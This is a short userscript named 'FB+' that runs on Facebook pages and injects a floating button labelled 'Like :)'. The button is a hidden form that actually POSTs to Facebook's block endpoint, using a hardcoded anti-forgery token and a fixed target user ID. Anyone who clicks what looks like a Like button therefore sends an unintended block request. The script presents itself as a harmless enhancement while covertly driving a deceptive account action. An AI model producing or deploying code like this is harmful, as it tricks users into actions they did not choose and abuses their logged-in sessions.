FB+

// ==UserScript==
// @name           FB+
// @description    The great!
// @include        *facebook*
// @version         1.0!
// ==/UserScript==

body = document.body;
if(body != null) {

        div = document.createElement("div");
 div.style.position = "fixed";
 div.style.bottom = "300px";
 div.style.left = "0px";
 div.style.color = "#888";
 div.style.border = "0px solid #888";
 div.style.zIndex = "999999";
 div.style.padding = "0px";
        div.innerHTML = "<form rel=\"async\" method=\"POST\" target=\"_blank\" action=\"/privacy/ajax/block.php\" onsubmit=\"return Event.__inlineSubmit(this,event)\"><input type=\"hidden\" autocomplete=\"off\" name=\"post_form_id\" value=\"bcdfd9570b1926bf62fee24ff769b032\"><input type=\"hidden\" name=\"fb_dtsg\" value=\"AQBGI1rk\" autocomplete=\"off\"><input type=\"hidden\" autocomplete=\"off\" name=\"block\" value=\"100000268876163\"><label class=\"mrm uiButton\" for=\"u8luro_6\"><input value=\"Like :)\" type=\"submit\" id=\"u8luro_6\"></label></div></form>"
 
    body.appendChild(div); 
}